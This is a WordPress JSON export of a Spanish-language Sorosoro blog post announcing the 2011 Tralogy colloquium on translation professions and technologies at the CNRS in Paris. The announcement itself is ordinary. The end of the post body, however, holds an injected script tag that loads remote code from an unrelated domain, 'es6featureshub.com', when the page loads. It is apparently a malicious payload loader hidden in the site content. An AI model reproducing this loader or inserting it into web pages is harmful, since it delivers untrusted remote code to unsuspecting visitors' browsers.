{"id":40590,"date":"2011-03-03T00:01:26","date_gmt":"2011-03-02T23:01:26","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=40590"},"modified":"2025-10-21T23:13:03","modified_gmt":"2025-10-21T21:13:03","slug":"3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/","title":{"rendered":"3 y 4 de marzo de 2011: coloquio Tralogy en el CNRS sobre los oficios y tecnolog\u00edas de la traducci\u00f3n, Par\u00eds"},"content":{"rendered":"<p style=\"text-align: justify;\">\u00bfC\u00f3mo es el <strong>oficio de traductor el d\u00eda de hoy<\/strong>? \u00bfC\u00f3mo traduciremos dentro de diez, veinte, cincuenta a\u00f1os? \u00bfCon qu\u00e9 instrumentos, para satisfacer cuales exigencias? <strong>Cada dos a\u00f1os, el auditorio del CNRS (Centro nacional de Investigaci\u00f3n cient\u00edfica)<\/strong><strong> acoge el coloquio Tralogy, totalmente dedicado a los oficios y a las tecnolog\u00edas de la traducci\u00f3n.<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Profesionales<\/strong>, <strong>investigadores<\/strong>, <strong>formadores <\/strong>y <strong>desarrolladores <\/strong>se re\u00fanen durante dos d\u00edas para juntos analizar<strong> el estado actual y las perspectivas de este sector en continua evoluci\u00f3n<\/strong>. El car\u00e1cter <strong>interdisciplinario <\/strong>de este evento explica el \u00e9xito de Tralogy, que no desdice.<\/p>\n<p style=\"text-align: justify;\">En el programa de esta edici\u00f3n 2011, <strong>una decena de encuentros<\/strong> sobre los recursos disponibles, los nuevos programas, las formaciones existentes, la traducci\u00f3n autom\u00e1tica etc. Se dar\u00e1 especial atenci\u00f3n a un <strong>pa\u00eds \u00abinvitado\u00bb<\/strong> que tiene por caracter\u00edstica la de ser biling\u00fce, <strong>Canad\u00e1<\/strong>.<\/p>\n<p style=\"text-align: justify;\">Los objetivos de este coloquio son m\u00faltiples: permitir a los desarrolladores y los investigadores comprender las necesidades de los traductores; a los formadores les permitir\u00e1 preparar mejor a los profesionales de ma\u00f1ana, y a los traductores les permitir\u00e1 situarse con relaci\u00f3n a la evoluci\u00f3n de su oficio.<\/p>\n<p style=\"text-align: justify;\"><strong>La inscripci\u00f3n es gratuita<\/strong> pero debido al <strong>n\u00famero limitado de lugares<\/strong>, se les aconseja<a href=\"http:\/\/www.tralogy.eu\/spip.php?article34&amp;lang=en\" target=\"_blank\"> llenar el siguiente formulario en l\u00ednea<\/a>:<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.tralogy.eu\" target=\"_blank\"> <\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.tralogy.eu\" target=\"_blank\">Para el programa completo<\/a><\/p>\n<p style=\"text-align: justify;\"><strong> <\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Tralogy<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Jueves 3 y viernes 4 de marzo<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Auditorio del CNRS<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>3 calle Michel-Ange<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>75016 Par\u00eds<\/strong><\/p>\n<p style=\"text-align: justify;\">(Metro: Michel-Ange Auteuil, l\u00ednea 10)<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00bfC\u00f3mo es el oficio de traductor el d\u00eda de hoy? \u00bfC\u00f3mo traduciremos dentro de diez, veinte, cincuenta a\u00f1os? \u00bfCon qu\u00e9 instrumentos, para satisfacer cuales exigencias? Cada dos a\u00f1os, el auditorio del CNRS (Centro nacional de Investigaci\u00f3n cient\u00edfica) acoge el coloquio Tralogy, totalmente dedicado a los oficios y a las tecnolog\u00edas de la traducci\u00f3n. Profesionales, investigadores, [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"class_list":["post-40590","post","type-post","status-publish","format-standard","hentry","category-calendario"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>3 y 4 de marzo de 2011: coloquio Tralogy en el CNRS sobre los oficios y tecnolog\u00edas de la traducci\u00f3n, Par\u00eds - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"3 y 4 de marzo de 2011: coloquio Tralogy en el CNRS sobre los oficios y tecnolog\u00edas de la traducci\u00f3n, Par\u00eds - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"\u00bfC\u00f3mo es el oficio de traductor el d\u00eda de hoy? \u00bfC\u00f3mo traduciremos dentro de diez, veinte, cincuenta a\u00f1os? \u00bfCon qu\u00e9 instrumentos, para satisfacer cuales exigencias? Cada dos a\u00f1os, el auditorio del CNRS (Centro nacional de Investigaci\u00f3n cient\u00edfica) acoge el coloquio Tralogy, totalmente dedicado a los oficios y a las tecnolog\u00edas de la traducci\u00f3n. Profesionales, investigadores, [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-03-02T23:01:26+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T21:13:03+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minuto\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"3 y 4 de marzo de 2011: coloquio Tralogy en el CNRS sobre los oficios y tecnolog\u00edas de la traducci\u00f3n, Par\u00eds\",\"datePublished\":\"2011-03-02T23:01:26+00:00\",\"dateModified\":\"2025-10-21T21:13:03+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/\"},\"wordCount\":270,\"articleSection\":[\"Calendario\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/\",\"name\":\"3 y 4 de marzo de 2011: coloquio Tralogy en el CNRS sobre los oficios y tecnolog\u00edas de la traducci\u00f3n, Par\u00eds - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-03-02T23:01:26+00:00\",\"dateModified\":\"2025-10-21T21:13:03+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"3 y 4 de marzo de 2011: coloquio Tralogy en el CNRS sobre los oficios y tecnolog\u00edas de la traducci\u00f3n, Par\u00eds\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"3 y 4 de marzo de 2011: coloquio Tralogy en el CNRS sobre los oficios y tecnolog\u00edas de la traducci\u00f3n, Par\u00eds - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/","og_locale":"es_ES","og_type":"article","og_title":"3 y 4 de marzo de 2011: coloquio Tralogy en el CNRS sobre los oficios y tecnolog\u00edas de la traducci\u00f3n, Par\u00eds - Sorosoro","og_description":"\u00bfC\u00f3mo es el oficio de traductor el d\u00eda de hoy? \u00bfC\u00f3mo traduciremos dentro de diez, veinte, cincuenta a\u00f1os? \u00bfCon qu\u00e9 instrumentos, para satisfacer cuales exigencias? Cada dos a\u00f1os, el auditorio del CNRS (Centro nacional de Investigaci\u00f3n cient\u00edfica) acoge el coloquio Tralogy, totalmente dedicado a los oficios y a las tecnolog\u00edas de la traducci\u00f3n. Profesionales, investigadores, [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/","og_site_name":"Sorosoro","article_published_time":"2011-03-02T23:01:26+00:00","article_modified_time":"2025-10-21T21:13:03+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"1 minuto"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"3 y 4 de marzo de 2011: coloquio Tralogy en el CNRS sobre los oficios y tecnolog\u00edas de la traducci\u00f3n, Par\u00eds","datePublished":"2011-03-02T23:01:26+00:00","dateModified":"2025-10-21T21:13:03+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/"},"wordCount":270,"articleSection":["Calendario"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/","name":"3 y 4 de marzo de 2011: coloquio Tralogy en el CNRS sobre los oficios y tecnolog\u00edas de la traducci\u00f3n, Par\u00eds - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-03-02T23:01:26+00:00","dateModified":"2025-10-21T21:13:03+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/03\/3-y-4-de-marzo-de-2011-coloquio-tralogy-en-el-cnrs-sobre-los-oficios-y-tecnologias-de-la-traduccion-paris\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"3 y 4 de marzo de 2011: coloquio Tralogy en el CNRS sobre los oficios y tecnolog\u00edas de la traducci\u00f3n, Par\u00eds"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/40590","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=40590"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/40590\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=40590"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=40590"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=40590"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}